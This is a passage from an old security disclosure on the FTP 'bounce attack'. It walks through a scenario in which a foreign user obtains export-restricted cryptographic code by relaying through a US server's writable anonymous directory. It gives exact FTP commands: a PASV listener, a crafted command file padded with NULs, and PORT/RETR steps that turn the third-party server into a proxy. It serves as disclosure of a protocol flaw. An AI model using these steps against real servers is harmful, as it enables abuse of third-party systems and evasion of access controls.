By MadHatter •NA•
This discusses one of many possible uses of the "FTP server bounce attack".
The mechanism used is probably well-known, but to date interest in detailing
or fixing it seems low to nonexistent.  This particular example demonstrates
yet another way in which most electronically enforced "export restrictions" are
completely useless and trivial to bypass.  It is chosen in an effort to make
the reader sit up and notice that there are some really ill-conceived aspects
of the standard FTP protocol.

Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion
of some of these issues a couple of months ago which got me thinking more
deeply about them.

The motive
==========

You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve
cryptographic source code from crypto.com in the US.  The FTP server at
crypto.com is set up to allow your connection, but deny access to the crypto
sources because your source IP address is that of a non-US site [as near as
their FTP server can determine from the DNS, that is].  In any case, you
cannot directly retrieve what you want from crypto.com's server.

However, crypto.com will allow ufred.edu to download crypto sources because
ufred.edu is in the US too.  You happen to know that /incoming on ufred.edu
is a world-writeable directory that any anonymous user can drop files into and
read them back from.  Crypto.com's IP address is C.C.C.C.

The attack
==========

This assumes you have an FTP server that does passive mode.  Open an FTP
connection to your own machine's real IP address [not localhost] and log in.
Change to a convenient directory that you have write access to, and then do:

        quote "pasv"
        quote "stor foobar"

Take note of the address and port that are returned from the PASV command,
F,F,F,F,X,X.  This FTP session will now hang, so background it or flip to
another window or something to proceed with the rest of this.

Construct a file containing FTP server commands.  Let's call this file
"instrs".  It will look like this:

        user ftp
        pass -anonymous@
        cwd /export-restricted-crypto
        type i
        port F,F,F,F,X,X
        retr crypto.tar.Z
        quit
        ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
        ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
        ...

F,F,F,F,X,X is the same address and port that your own machine handed you
on the first connection.  The trash at the end is extra lines you create,
each containing 250 NULLS and nothing else, enough to fill up about 60K of
extra data.  The reason for this filler is explained later.

Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming.
Now type the following into this FTP session, which transfers a copy of your
"instrs" file over and then tells ufred.edu's FTP server to connect to
crypto.com's FTP server using your file as the commands:

        put instrs
        quote "port C,C,C,C,0,21"
        quote "retr instrs"

Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP
connection.  If the connection to ufred.edu didn't die by itself due to an
apparently common server bug, clean up by deleting "instrs" and exiting.
Otherwise you'll have to reconnect to finish.

Discussion
==========

There are several variants of this.  Your PASV listener connection can be
opened on any machine that you have file write access to -- your own, another
connection to ufred.edu, or somewhere completely unrelated.  In fact, it does
not even have to be an FTP server -- any utility that will listen on a known
TCP port and read raw data from it into a file will do.  A passive-mode FTP
data connection is simply a convenient way to do this.

The extra nulls at the end of the command file are to fill up the TCP windows
on either end of the ufred -> crypto connection, and ensure that the command
connection stays open long enough for the whole session to be executed.
Otherwise, most FTP servers tend to abort all transfers and command processing
when the control connection closes prematu